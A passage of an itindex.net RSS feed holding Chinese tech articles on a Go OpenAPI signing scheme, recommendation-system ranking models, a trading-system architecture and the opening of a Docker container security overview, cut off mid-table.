/&gt;&amp;quot;m&amp;quot;:  req.Module,     &lt;br /&gt;&amp;quot;e&amp;quot;:  req.Event,     &lt;br /&gt;&amp;quot;p&amp;quot;:  string(params),     &lt;br /&gt;}     &lt;br /&gt;     &lt;br /&gt;pStr, _ := json.Marshal(p)     &lt;br /&gt;postParams := map[string]string{     &lt;br /&gt;&amp;quot;p&amp;quot;:  string(pStr),     &lt;br /&gt;&amp;quot;m&amp;quot;:  &amp;quot;callback&amp;quot;,     &lt;br /&gt;&amp;quot;a&amp;quot;:  &amp;quot;callback&amp;quot;,     &lt;br /&gt;&amp;quot;t&amp;quot;:  fmt.Sprintf(&amp;quot;%d&amp;quot;, time.Now().Unix()),     &lt;br /&gt;&amp;quot;v&amp;quot;:  Version,     &lt;br /&gt;&amp;quot;ak&amp;quot;: AppId,     &lt;br /&gt;}     &lt;br /&gt;     &lt;br /&gt;postParams[&amp;quot;s&amp;quot;] = sign(getSignData(postParams) + AppSecret)     &lt;br /&gt;     &lt;br /&gt;return postParams     &lt;br /&gt;}     &lt;br /&gt;     &lt;br /&gt;func getSignData(params map[string]string) string {     &lt;br /&gt;return strings.Join([]string{params[&amp;quot;p&amp;quot;], params[&amp;quot;m&amp;quot;], params[&amp;quot;a&amp;quot;], params[&amp;quot;t&amp;quot;], params[&amp;quot;v&amp;quot;], params[&amp;quot;ak&amp;quot;]}, &amp;quot;&amp;quot;)     &lt;br /&gt;}     &lt;br /&gt;     &lt;br /&gt;func sign(str string) string {     &lt;br /&gt;return strings.ToLower(utils.Md5(str)[0:16])     &lt;br /&gt;}     &lt;br /&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt; &lt;h2&gt;  &lt;a href="https://www.fanhaobai.com/#&amp;#26410;&amp;#26469;&amp;#35268;&amp;#21010;" title="&amp;#26410;&amp;#26469;&amp;#35268;&amp;#21010;"&gt;&lt;/a&gt;未来规划&lt;/h2&gt; &lt;ul&gt;  &lt;li&gt;后台支持配置 AppId&lt;/li&gt;  &lt;li&gt;事件回调失败请求支持手动重试&lt;/li&gt;  &lt;li&gt;请求限流&lt;/li&gt;&lt;/ul&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>语言 Go 系统设计</category>
      <guid isPermaLink="true">https://itindex.net/detail/61706-%E5%BB%BA%E4%B8%80-%E7%AE%80%E6%98%93-openapi</guid>
      <pubDate>Thu, 16 Jul 2020 03:30:00 CST</pubDate>
    </item>
    <item>
      <title>得物技术聊聊推荐系统是如何做排序的</title>
      <link>https://itindex.net/detail/61262-%E6%8A%80%E6%9C%AF-%E6%8E%A8%E8%8D%90%E7%B3%BB%E7%BB%9F-%E6%8E%92%E5%BA%8F</link>
      <description>&lt;h1&gt;引言&lt;/h1&gt; &lt;p&gt;信息时代到来以后，我们被各种各样海量的信息所淹没，从新闻、广告、电商、直播、短视频等各种涉及这些场景的APP中，大量个性化的信息被推送到我们眼前。例如在使用得物APP购物的过程中，我们也常常会听到这样的问题，  &lt;strong&gt;为什么会给我推这双鞋/这件衣服？为什么浏览收藏过的商品反复出现在推荐流中？推荐流是怎么猜测我的喜好的？推荐的排序逻辑是怎样的，都考虑了哪些因素？能不能主动增加某些类目的曝光量？&lt;/strong&gt;这些种种的问题，都和我们的排序模型、排序逻辑有关，下面就让我们来聊聊推荐系统中是如何对商品做排序的。&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000039404383" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图1. 得物APP首页推荐瀑布流&lt;/p&gt; &lt;h1&gt;推荐系统&lt;/h1&gt; &lt;p&gt;首先来简单说一下推荐系统的基本架构，借用youtube论文中的一张图片来说明。推荐系统的核心目标是从我们的总商品库中，为用户挑选出他最感兴趣的一部分商品，从而节省用户时间，也提高平台的转化效率，为交易的顺利进行提供助力。除开一些工程实现部分的细节，整个过程可以大致分为两个阶段，即召回（candidate generation）和排序（ranking），其中召回的任务是从海量商品中选取部分用户“大概率”感兴趣的商品集，而排序则负责将召回选出来的这部分商品仔细分析，按照用户可能感兴趣的程度（probability），从高到低进行排序，展示给用户观看，整个过程在毫秒级的时间内完成。&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000039404384" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图2. 引用自论文：Deep Neural Networks for YouTube Recommendations&lt;/p&gt; &lt;p&gt;召回层面的策略和逻辑有很多，也演化了很长一段时间，不过这不是我们今天聊的重点，我们来详细聊聊，当我们拿到了召回结果，大概在一万件以内的规模下，模型是怎样确定他们的先后顺序的，机器怎样自动化地计算出分数来评估用户对他们的感兴趣程度的。&lt;/p&gt; &lt;p&gt;排序模型的发展也有很长一段时间了，从互联网逐渐兴起开始，为用户快速筛选出有价值的信息一直是一件非常核心的事。我们不妨来看看，为了完成这项任务，都经历了哪些演变过程。&lt;/p&gt; &lt;p&gt;  &lt;strong&gt;先看一个简单例子，一位女性用户来到我们平台，我们可以拿到的信息有她的性别、访问时间、行为历史记录等，假设她之前逛了逛衣服，收藏了一双鞋，最近又在浏览吹风机，而我们的召回候选集中又恰好有衣服、鞋和吹风机，我们应该怎样来定义排序的逻辑呢？&lt;/strong&gt;&lt;/p&gt; &lt;h1&gt;规则学习&lt;/h1&gt; &lt;p&gt;解决问题的第一阶段，往往是依赖于直觉的，直觉告诉我们，每一个和用户或者是商品有关的信息，都会影响到用户的决策，这之中又必然存在着一定的数量关系，排序便有了最初的思路：人工规则。顾名思义，就是根据平台运营人员对业务的熟悉程度，来直接定义物品的先后顺序，例如平台最近某件衣服是爆款，卖的很好，所以要排在前面，尽可能让顾客看到，考虑到个性化因素，这位又是女性用户，那么就把最近所有女性用户购买的商品做一个统计，按照销量从高到低排序，或者更近一步，某个地区的女性用户，最近收藏过鞋子的某地区的女性用户….只要划分用户特定维度后的数据流足够多，规则足够明确，最终所有商品对一个具体用户都会有一个排序结果，一个粗糙的推荐排序策略也就成型了。&lt;/p&gt; &lt;p&gt;那么以上策略是否就是我们的排序方案呢？显然并不是的。以上方案有两个不太合理的地方：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;人工的策略会因人而异，很难有一个统一的标准，而且几乎不可能把所有信息整合在一起利用起来。&lt;/li&gt;  &lt;li&gt;优化的目标模糊，依赖于线上实践结果来评价好坏，总体而言大家都是为了让平台更好，但是每一个具体的策略，到底是优化点击率还是转化率还是用户的停留时长、下拉深度，很难在给出规则时对结果有一个预期，线上实验的成本很高，而且方案的迭代周期可能是无限长的（人总能想到各种不同的规则组合）。&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;有没有一个方案能整合利用所有能拿到的信息，并且在上线前对结果有一个合理预期，甚至不需要上线实验，离线就能评估策略的好坏呢？这个时候，机器学习方法出现在了我们眼前。&lt;/p&gt; &lt;h1&gt;机器学习&lt;/h1&gt; &lt;p&gt;解决问题的第二阶段，就是在直觉的基础上引入可量化的模型。模型是一个比较抽象的词，在这里它指的是对一种映射的抽象描述，即 f（context，user，item）—&amp;gt; score，任何能用具体公式提供这个分数计算逻辑的方案，都可以叫做模型。  &lt;strong&gt;衡量一个模型好坏的标准，就是这个假设出来的映射关系与现实中真实的内在关系的距离。&lt;/strong&gt;比如个子越高，体重就越大，就是一个根据身高信息去映射体重信息的线型模型，这个模型显然是不严谨的，但在很多时候也是成立的。说回我们的排序模型，我们需要设计一个方案，从用户、商品和上下文信息（事件发生的时间、场景等客观信息）中，提炼出用户对商品的偏好程度。&lt;/p&gt; &lt;p&gt;一个能同时整合所有信息，在形式上足够简单，在工业界的大数据和高并发下又拥有足够稳定性的模型，早就已经被数学所给出，那就是著名的逻辑回归模型，形式如下：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000039404381" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000039404379" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图3. 逻辑回归函数图像&lt;/p&gt; &lt;p&gt;这个模型的形式虽然简单，但思想足够深刻，里面整合了数学界在参数估计、信息论和凸优化等方向的研究成果，将变量用线性的方式结合起来，把定义在（-∞，+∞）的自变量映射到（0，1）的值域上，这里的（0，1）之间的分数可以理解为用户感兴趣的概率，整个过程便成了一个点击率预估问题。当我们用线上实时收集到的用户行为数据作为基础，把用户的点击行为转化为0或1的训练目标，便可以用很成熟的数学方案快速地求出公式中的所有最优化参数w，从而确定下最终的计算过程。虽然逻辑回归模型在学术界已经是基础中的基础，但由于其稳定性和极高的计算效率，工业界也依然有很多业务场景中使用这套模型作为线上服务的主要担当或者降级备用方案。&lt;/p&gt; &lt;p&gt;除了逻辑回归以外，还有许多机器学习的模型被应用在排序环节中如NB, SVM和GBDT等，其中比较成功的模型是GBDT，这里面又以陈天奇博士提出的XGBoost模型最为著名，在工业界也有广泛的应用。GBDT模型是以决策树模型为基础提出的组合模型，树模型的特点是更加符合我们人对事物的判断方式，大概的思想类似下图：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000039404386" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图4. 树模型决策思路简述&lt;/p&gt; &lt;p&gt;刚才提到的GBDT模型就是将以上这种决策行为给定量化，并且使用多棵决策树进行组合决策的结果，相比于逻辑回归模型，它提出了一个更符合人类直觉的视角，将排序问题拆解为对若干特征的而二分类组合，将各种用户和商品特征在决策过程中进行了交叉，实践中效果往往是更优的，这也符合我们提到的“模型是对真实决策关系的模拟”这一观点。但是树模型也有它的不足，比如它优化性能较低，对大数据量的计算性能较差，对增量训练的支持度较差等等。&lt;/p&gt; &lt;p&gt;总的来说，无论是逻辑回归还是GBDT模型，都是机器学习在推荐领域很好的实践和探索，他们各自都还存在一些明显的不足，业界针对这些不足的地方也都有各种补充和优化的方案，经过几年的迭代，伴随着理论和硬件条件双重发展的基础上，推荐系统迎来了它的深度学习时代。&lt;/p&gt; &lt;h1&gt;深度学习&lt;/h1&gt; &lt;p&gt;解决问题的第三阶段，是在成熟的工业界方案基础上，加入自己对具体业务场景的理解。逻辑回归公式简洁，性能可靠，GBDT思路清晰，效果出色，但他们是否就是问题的最终解决方案呢？显然还是不够的，如上面提到的，他们各自都还有不少的问题需要解决：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;逻辑回归对特征间关系的刻画过于简单，对特征仅仅做了线性组合，与现实中大量的非线性关系的存在是违背的，比如女性、上海、数码产品这几个特征的简单加减法来描述用户购买倾向，与我们的认知不符，这三个特征和购买意愿的关系，更有可能是非线性的，而GBDT在处理特征组合时使用的方式也比较单一，难以刻画更为复杂的组合关系。&lt;/li&gt;  &lt;li&gt;数据的排序逻辑过于单一，都是以点击率作为目标，单一目标的问题在于，很容易导致结果缺乏多样性，用户此刻想看数码产品，并不意味着满屏的推荐都应该变成数码产品，这可能反而会降低用户体验。&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;从解决这两个问题出发，我们的思路又细分到了两个方向上，分别是拓宽模型的复杂度和多目标下的后排序干预。&lt;/p&gt; &lt;p&gt;第一个问题是拓宽模型的复杂度，在具体操作中可以分为两个方面的工作，第一个方面，是在特征组合上尽可能提供复杂的特征，比如我们例子中，本身模型输入的信息是性别、地区、用户行为、商品属性，但是我们可以人工定义一些其他的复杂特征，比如用户是否购买过同类商品，用户对同品牌商品的点击次数等，通过增加特征的复杂度，来增加模型输入的信息量，把一些非线性的关系转化到线性模型上来解决，这样做的好处是有效节省了计算资源，也减轻了线上推断所带来的压力，对效果提升也很有帮助；不过弊端也是明显的，那就是整体思路又回到了我们一开始人工规则的老路上，依赖于人的经验来做优化，不过这里的人由平台运营换成了算法工程师。所以能不能把拓宽非线性关系的工作也交给机器来完成呢？这便是第二个方面，引入深度学习的模型。&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000039404380" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图5. Google提出的模型的Wide&amp;amp;Deep模型架构&lt;/p&gt; &lt;p&gt;深度学习在如今的工业界早已是大名鼎鼎，从2016年起，在谷歌的W&amp;amp;D模型的影响下，工业界的推荐系统开始纷纷效仿，大踏步地迈进了深度学习所统治的时代，如今各大厂的主流推荐模型，都是在深度学习的基础上做的开发，关于深度学习的理论知识，相关讲解有很多，这里就不详细展开。对于推荐系统来说，深度学习所解决的核心问题，就是特征间非线性关系的自动化挖掘。这里面的逻辑，可以说是一个“用魔法来打败魔法”的过程。我对这个问题的理解是这样的，特征间正确的组合方式是存在的，只是组合成几何级增长，遍历尝试的操作代价难以承受，这便是第一重“魔法”；而深度学习从理论上证明，只要给定入参和目标，它可以拟合任意复杂的函数，但是最终你也不会知道拟合出来的函数具体形式是怎样的（可解释性目前为止也是学术界的一个很重要的方向），这便是第二重“魔法”；一边是你无法遍历的组合结果，另一边是你无法解释的组合结果，但最终产出了符合你预期的业务效果，所以我称之为一个用魔法去打败魔法的过程，这也是业内深度学习算法工程师又被戏称为“炼丹工程师”的原因，很多时候工程师对于模型的具体作用原理也是难以解释的，唯一知道的，就是它是否“有效”。&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000039404385" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图6.阿里巴巴提出的ESMM多目标网络&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000039404382" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图7.阿里巴巴提出的重排序网络&lt;/p&gt; &lt;p&gt;关于逻辑回归的第二个问题，多目标和多样性，就不能简单通过拓宽模型复杂度来解决了。多目标优化和后排序干预也是现在推荐排序侧很重要的逻辑，由于深度学习这个魔法特别好用，所以业界也产出了很多相关的理论模型，比如阿里的ESMM和Re-ranking模型。不过由于后排序这块是直接影响到用户最终体验的，不可解释的魔法结果在目前的实用性和可控性上还是比不上能够灵活调整的规则，因此在模型排序的结果环节，又加入了一些人工规则，比如类目打散、品牌打散和曝光过滤等，来满足一些主观需求。最终的排序流程，还是一个计算机模型和人工规则互相扶助来实现的。&lt;/p&gt; &lt;h1&gt;总结&lt;/h1&gt; &lt;p&gt;以上便是推荐系统的大体排序逻辑，以后的模型还会越来越多，也未必都会局限在深度学习的领域，整个业界也还在探寻什么样的模型能以最小的代价刻画出人与物的协同关系，这个问题很可能没有一个标准答案，需要算法工程师根据具体的业务场景和业务特点去构造和处理排序的问题。最终的排序结果是在训练数据、特征选择、模型结构和后排序逻辑的共同干预作用下决定的，数据会是排序逻辑的核心，而不是人工主观意识在驾驭和操纵的。虽然小的细节还在不断地调整和改变，但是大的方向一定是以更复杂的特征、更合理的模型结构、更高效的迭代方式，更灵活的规则调整来实现更好的业务指标。&lt;/p&gt; &lt;h1&gt;参考资料&lt;/h1&gt; &lt;p&gt;[1] Covington, Paul, Jay Adams, and Emre Sargin. &amp;quot;Deep neural networks for youtube recommendations.&amp;quot; Proceedings of the 10th ACM conference on recommender systems. 2016.&lt;/p&gt; &lt;p&gt;[2] Cheng, Heng-Tze, et al. &amp;quot;Wide &amp;amp; deep learning for recommender systems.&amp;quot; Proceedings of the 1st workshop on deep learning for recommender systems. 2016.&lt;/p&gt; &lt;p&gt;[3] Ma, Xiao, et al. &amp;quot;Entire space multi-task model: An effective approach for estimating post-click conversion rate.&amp;quot; The 41st International ACM SIGIR Conference on Research &amp;amp; Development in Information Retrieval. 2018.&lt;/p&gt; &lt;p&gt;[4] Pei, Changhua, et al. &amp;quot;Personalized re-ranking for recommendation.&amp;quot; Proceedings of the 13th ACM Conference on Recommender Systems. 2019.&lt;/p&gt; &lt;p&gt;[5] Chen, Tianqi, and Carlos Guestrin. &amp;quot;Xgboost: A scalable tree boosting system.&amp;quot; Proceedings of the 22nd acm sigkdd international conference on knowledge discovery and data mining. 2016.&lt;/p&gt; &lt;p&gt;文｜John  &lt;br /&gt;关注得物技术，携手走向技术的云端&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>推荐 排序 推荐系统 系统</category>
      <guid isPermaLink="true">https://itindex.net/detail/61262-%E6%8A%80%E6%9C%AF-%E6%8E%A8%E8%8D%90%E7%B3%BB%E7%BB%9F-%E6%8E%92%E5%BA%8F</guid>
      <pubDate>Fri, 12 Mar 2021 17:59:10 CST</pubDate>
    </item>
    <item>
      <title>低代码开发脚手架 citrus-vuetify</title>
      <link>https://itindex.net/detail/61164-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91-%E8%84%9A%E6%89%8B%E6%9E%B6</link>
      <description>&lt;table width="100%"&gt;
                              &lt;tr&gt;
                                                                   &lt;td valign="top"&gt;项目简介 基于SpringBoot 2.3.2 + Mybatis-Plus + SpringSecurity + JWT 的前后分离后台管理系统 前端仓库地址：https://github.com/Yiuman/citrus-vuetify LiveDemo 项目特性 开箱即用，引入starter依赖后即可启动 高效开发，只需要定义实体与库表，入口继承基类的Controller，即可完成基础的增删改查操作 常用数据结构的封装与基础的CRUD实现（左右值预遍历树、普通树等） 统一的认证入口，方便的安全认证扩展，可实现多种方式...&lt;/td&gt;
                            &lt;/tr&gt;
                        &lt;/table&gt;
                        &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>后台管理系统（模板）</category>
      <guid isPermaLink="true">https://itindex.net/detail/61164-%E4%BB%A3%E7%A0%81-%E5%BC%80%E5%8F%91-%E8%84%9A%E6%89%8B%E6%9E%B6</guid>
      <pubDate>Sun, 10 Jan 2021 23:44:05 CST</pubDate>
    </item>
    <item>
      <title>常见分布式应用系统设计图解（十二）：证券交易系统</title>
      <link>https://itindex.net/detail/61117-%E5%B8%B8%E8%A7%81-%E5%88%86%E5%B8%83-%E5%BA%94%E7%94%A8</link>
      <description>&lt;p&gt;这篇讲的是证券交易系统，这类系统包含的内容很多，但是我们还是把目光放在核心的交易部分，比如说股票交易。在某个可交易时间，如果卖家 A 要以至少 y 的价格卖掉股票 x，卖家 B 愿以至多 y 的价格买入股票 x，那么这个交易就可以发生。&lt;/p&gt;



 &lt;p&gt;虽说是交易系统，但是它和任何一个支付平台的交易系统有着显著的不同，它的核心是一个竞价匹配的机制，而非货币支付的机制，简单地说，这个机制包含了这样四个步骤：&lt;/p&gt;



 &lt;ul&gt;  &lt;li&gt;挂单（可以是买单，也可以是卖单）&lt;/li&gt;  &lt;li&gt;匹配（或者叫做撮合）&lt;/li&gt;  &lt;li&gt;成交&lt;/li&gt;  &lt;li&gt;清算&lt;/li&gt;&lt;/ul&gt;



 &lt;p&gt;从非功能的角度看，有这样几条需求是这样的系统尤其要强调的：&lt;/p&gt;



 &lt;ul&gt;  &lt;li&gt;Consistency，从单个交易的角度来说，主要就是事务性，这是交易系统最最基本的要求。系统不能用了是个灾难，但是如果交易数据错误了这就是个大得多的灾难。&lt;/li&gt;  &lt;li&gt;Durability，交易数据必须要持久化。&lt;/li&gt;  &lt;li&gt;Throughput，很多股票市场都是对全球开放的，吞吐量意味着对于交易高峰的接纳能力。&lt;/li&gt;  &lt;li&gt;Latency，和吞吐量关系密切，可以放在一起讨论。大型交易系统的延迟的最小单位都是   &lt;a href="https://www.nasdaq.com/solutions/trading-and-matching-technology" rel="noreferrer noopener" target="_blank"&gt;按微秒论&lt;/a&gt;的。从架构上看这类系统具备一些异步系统（比如下单支付系统）的特点，但是低延迟的要求决定了它的处理方式明显不同。&lt;/li&gt;&lt;/ul&gt;



 &lt;img alt="" src="https://www.raychase.net/wp-content/uploads/2020/12/Security-Trading-1.png"&gt;&lt;/img&gt;



 &lt;ul&gt;  &lt;li&gt;整个系统来看，包括挂单、匹配、交易和查询这样几个部分。实线部分表示的是写或读写操作，虚线是读操作。&lt;/li&gt;  &lt;li&gt;假设有卖家和买家两个用户，分别在不同的时间提交了挂单请求，一个是卖单，一个是买单。&lt;/li&gt;  &lt;li&gt;鉴权分为两个部分来完成，基础的部分由 API Gateway 来完成。&lt;/li&gt;  &lt;li&gt;Exchange Server 收到原始挂单请求以后，首先调用 Sequencer 去获取一个时间戳，也包括一个基于时间戳生成的 ID。这个时间戳非常重要，因为交易的逻辑里面，对于买单卖单的匹配，以及同价单的优先级，都要基于时间戳的规则来进行。时间戳不能仅仅基于 Exchange Server 自己的时钟来进行，因为每台机器的时钟很可能都不一样。&lt;/li&gt;  &lt;li&gt;对于买单，查询账户系统并扣住保证金。&lt;/li&gt;  &lt;li&gt;将买单或卖单放入指定的队列，不同的股票有不同的队列来维护。这个队列本身是一个优先级队列，从宏观上看就是 order book。对于买单来说，买价越高越靠前；对于卖单来说，卖价越低越靠前。&lt;/li&gt;  &lt;li&gt;不同队列的变更会被 router 通知到不同的匹配（撮合）引擎，这里有多个不同的引擎，每个引擎关注不同的队列变更。在每个引擎的内存中维护一个队列中靠近队列出口的买卖单集合，也是以优先级队列的形式维护在内存中（具体实现可以是堆）。&lt;/li&gt;  &lt;li&gt;这样迅速的匹配就可以在内存中迅速发生并完成，内存的数据结构以 Snapshot + WHL 的方式持久化，以达到效率和状态不丢失的平衡。&lt;/li&gt;  &lt;li&gt;如果这台机器崩溃，还有集群中的备用机可以顶上，并从上述的 Snapshot + WHL 中恢复之前的状态。这些机器都通过 Node Manager（比如 Zookeeper）来管理。&lt;/li&gt;  &lt;li&gt;每次匹配完成，都有一个事件加入到 exchange 的队列中，每只股票都有自己的 exchange 队列。&lt;/li&gt;  &lt;li&gt;Router 将队列的事件通知到相应的支付系统和 Tick Calculator。支付系统（或者是清算系统）会完成用户扣款或打款的操作，而 Tick Calculator 会根据交易信息改变当前的股价并持久化到数据库中（这里的数据库需要较大的吞吐量，可以根据股票种类+时间序做 sharding）。&lt;/li&gt;  &lt;li&gt;用户可以查询自己的账户变更状况，用户也可以通过 Quotation 系统查询股价变更状况。&lt;/li&gt;&lt;/ul&gt;



 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;文章未经特殊标明皆为本人原创，未经许可不得用于任何商业用途，转载请保持完整性并注明来源链接    &lt;a href="https://www.raychase.net/6453"&gt;《四火的唠叨》&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt; &lt;div&gt;
  &lt;p&gt;你可能也喜欢看：&lt;/p&gt;  &lt;ol&gt;
   &lt;li&gt;    &lt;a href="https://www.raychase.net/6275" rel="bookmark" title="&amp;#24120;&amp;#35265;&amp;#20998;&amp;#24067;&amp;#24335;&amp;#24212;&amp;#29992;&amp;#31995;&amp;#32479;&amp;#35774;&amp;#35745;&amp;#22270;&amp;#35299;&amp;#65288;&amp;#19977;&amp;#65289;&amp;#65306;Top K &amp;#31995;&amp;#32479;"&gt;常见分布式应用系统设计图解（三）：Top K 系统 &lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;    &lt;a href="https://www.raychase.net/6299" rel="bookmark" title="&amp;#24120;&amp;#35265;&amp;#20998;&amp;#24067;&amp;#24335;&amp;#24212;&amp;#29992;&amp;#31995;&amp;#32479;&amp;#35774;&amp;#35745;&amp;#22270;&amp;#35299;&amp;#65288;&amp;#22235;&amp;#65289;&amp;#65306;&amp;#36755;&amp;#20837;&amp;#24314;&amp;#35758;&amp;#31995;&amp;#32479;"&gt;常见分布式应用系统设计图解（四）：输入建议系统 &lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;    &lt;a href="https://www.raychase.net/6312" rel="bookmark" title="&amp;#24120;&amp;#35265;&amp;#20998;&amp;#24067;&amp;#24335;&amp;#24212;&amp;#29992;&amp;#31995;&amp;#32479;&amp;#35774;&amp;#35745;&amp;#22270;&amp;#35299;&amp;#65288;&amp;#20116;&amp;#65289;&amp;#65306;Proximity &amp;#31995;&amp;#32479;"&gt;常见分布式应用系统设计图解（五）：Proximity 系统 &lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;    &lt;a href="https://www.raychase.net/6429" rel="bookmark" title="&amp;#24120;&amp;#35265;&amp;#20998;&amp;#24067;&amp;#24335;&amp;#24212;&amp;#29992;&amp;#31995;&amp;#32479;&amp;#35774;&amp;#35745;&amp;#22270;&amp;#35299;&amp;#65288;&amp;#20061;&amp;#65289;&amp;#65306;&amp;#21327;&amp;#21516;&amp;#32534;&amp;#36753;&amp;#31995;&amp;#32479;"&gt;常见分布式应用系统设计图解（九）：协同编辑系统 &lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;    &lt;a href="https://www.raychase.net/6434" rel="bookmark" title="&amp;#24120;&amp;#35265;&amp;#20998;&amp;#24067;&amp;#24335;&amp;#24212;&amp;#29992;&amp;#31995;&amp;#32479;&amp;#35774;&amp;#35745;&amp;#22270;&amp;#35299;&amp;#65288;&amp;#21313;&amp;#65289;&amp;#65306;&amp;#30005;&amp;#21830;&amp;#31186;&amp;#26432;&amp;#31995;&amp;#32479;"&gt;常见分布式应用系统设计图解（十）：电商秒杀系统 &lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>System and Architecture 交易系统 图解笔记 应用系统 系统设计</category>
      <guid isPermaLink="true">https://itindex.net/detail/61117-%E5%B8%B8%E8%A7%81-%E5%88%86%E5%B8%83-%E5%BA%94%E7%94%A8</guid>
      <pubDate>Sun, 27 Dec 2020 02:09:00 CST</pubDate>
    </item>
    <item>
      <title>Docker容器安全性分析</title>
      <link>https://itindex.net/detail/60225-docker-%E5%AE%B9%E5%99%A8-%E5%AE%89%E5%85%A8</link>
      <description>&lt;p&gt;      &lt;strong&gt;Docker是目前最具代表性的容器技术之一，对云计算及虚拟化技术产生了颠覆性的影响。本文对Docker容器在应用中可能面临的安全问题和风险进行了研究，并将Docker容器应用环境中的安全机制与相关解决方案分为容器虚拟化安全、容器安全管理、容器网络安全三部分进行分析。&lt;/strong&gt; &lt;/p&gt;
 &lt;h2&gt;    一、从虚拟化安全到容器安全 &lt;/h2&gt;
 &lt;h3&gt;    1、传统虚拟化技术&lt;/h3&gt;
 &lt;p&gt;    虚拟化技术是实现硬件基础设施资源的充分利用、合理分配和有效调度的重要技术手段。例如，在基于OpenStack的典型IaaS服务中，云服务提供商可通过搭建设备集群建立资源池，并将服务器、存储和网络等底层资源进行弹性虚拟化提供给租户。&lt;/p&gt;
 &lt;p&gt;    传统虚拟化技术以虚拟机为管理单元，各虚拟机拥有独立的操作系统内核，不共用宿主机的软件系统资源，因此具有良好的隔离性，适用于云计算环境中的多租户场景。&lt;/p&gt;
 &lt;h3&gt;    2、容器技术&lt;/h3&gt;
 &lt;p&gt;    容器技术可以看作一种轻量级的虚拟化方式，将应用与必要的执行环境打包成容器镜像，使得应用程序可以直接在宿主机（物理机或虚拟机）中相对独立地运行。容器技术在操作系统层进行虚拟化，可在宿主机内核上运行多个虚拟化环境。相比于传统的应用测试与部署，容器的部署无需预先考虑应用的运行环境兼容性问题；相比于传统虚拟机，容器无需独立的操作系统内核就可在宿主机中运行，实现了更高的运行效率与资源利用率。&lt;/p&gt;
 &lt;p&gt;    Docker是目前最具代表性的容器平台之一，它模糊了传统的IaaS和PaaS的边界，具有持续部署与测试、跨云平台支持等优点。在基于Kubernetes等容器编排工具实现的容器云环境中，通过对跨主机集群资源的调度，容器云可提供资源共享与隔离、容器编排与部署、应用支撑等功能。&lt;/p&gt;
 &lt;p&gt;    Docker容器技术以宿主机中的容器为管理单元，但各容器共用宿主机内核资源，分别通过Linux系统的Namespaces和CGroups机制实现资源的隔离与限制。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;1&lt;/strong&gt;  &lt;strong&gt;）&lt;/strong&gt;  &lt;strong&gt;Namespaces&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    为了保证容器进程之间的资源隔离，避免相互影响和干扰，Linux内核的Namespaces（命名空间）机制提供了UTS、User、Mount、Network、PID、IPC等命名空间实现了主机名、用户权限、文件系统、网络、进程号、进程间通信等六项资源隔离功能。通过调用clone()函数并传入相应的系统调用参数创建容器进程，可实现对应资源内容的隔离，具体情况如表1所示。&lt;/p&gt;
 &lt;p&gt;    表1：Namespaces隔离机制&lt;/p&gt;
 &lt;table&gt;




    

  &lt;tr&gt;
   &lt;th&gt;                命名空间            &lt;/th&gt;
   &lt;th&gt;                系统调用参数            &lt;/th&gt;
   &lt;th&gt;                隔离内容            &lt;/th&gt;
   &lt;th&gt;                Linux内核版本            &lt;/th&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                UTS            &lt;/td&gt;
   &lt;td&gt;                CLONE_NEWUTS            &lt;/td&gt;
   &lt;td&gt;                主机名和域名            &lt;/td&gt;
   &lt;td&gt;                2.6.19            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                IPC            &lt;/td&gt;
   &lt;td&gt;                CLONE_NEWIPC            &lt;/td&gt;
   &lt;td&gt;                信号量、信息队列和共享内存            &lt;/td&gt;
   &lt;td&gt;                2.6.19            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                PID            &lt;/td&gt;
